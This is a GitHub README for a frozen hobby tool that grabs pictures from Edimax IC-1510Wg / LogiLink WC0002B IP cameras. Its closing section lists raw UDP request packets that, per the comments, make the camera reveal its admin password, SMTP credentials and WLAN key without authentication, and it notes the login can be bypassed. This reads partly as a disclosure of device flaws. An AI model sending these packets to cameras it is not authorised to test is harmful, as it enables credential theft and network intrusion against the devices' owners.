-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathREADME
63 lines (49 loc) · 1.69 KB
/
README
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#VERSION:
Alpha 0.02
#PROJECT FROZEN
Due a lack of testing devices the project is frozen indefinitely.
#MIRROR:
Some files are mirrord at
http://code.dokumenteundeinstellungen.de
#TESTED FIRMWARE:
engEDIMAX_WG_IC1500Wg_1.34
WC0002B_1.35 (Logilink)
WC0002B_1.36 (Logilink)
#SOME TEXT:
This code should be a util to get a video-like output
of requested pictures from a Edimax IC-1510Wg.
At the moment this device is also known as LogiLink
WC0002B.
Oh, btw:
Edimax published a uClinux.
http://edimax-de.eu/images/Image/products/IC-1510Wg/IC-1510xx_GPLSC.zip
From Edimax-Support, a url w/o activex for watching video
http://IP/mjpg/video.mjpg
#BUGS OF THE DEVICE:
The design of this design is funny. For example you
can get the admin-password if you sniff the
answer of request peer0_2 (see UDP REQUESTS).
Or, the win-tool is using a login-paket but it's
not needed. You can get pictures if you send only
the picture-request-paket.
It seems that the vendor do sensitive stuff like
admin-auth and login on the client side.
#TROUBLESHOOTING:
Q: Can't bypass the login-function!
A: You should add a random user via web-interface.
#UDP REQUESTS:
char peer0_0[] = {
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x04,
0xff, 0xfb }; /* Cam name */
char peer0_2[] = { /* Camname, Admin-pw, Motion Detecion */
0x00, 0x1f, 0x1f, 0x61, 0xb7, 0xfa, 0x00, 0x02,
0xff, 0xfd };
char info_leak[] = { /* SMTP-Recipient&Server, FW-Version, Camname*/
0x00, 0x1f, 0x1f, 0x61, 0xb7, 0xfa, 0x00, 0x06,
0xff, 0xf9 };
char peer0_3[] = { /* SMTP-User & Password */
0x00, 0x1f, 0x1f, 0x61, 0xb7, 0xfa, 0x00, 0x10,
0xff, 0xef };
char peer0_4[] = { /*WLAN (SSID, MAC, KEY...) */
0x00, 0x1f, 0x1f, 0x61, 0xb7, 0xfa, 0x00, 0x09,
0xff, 0xf6 };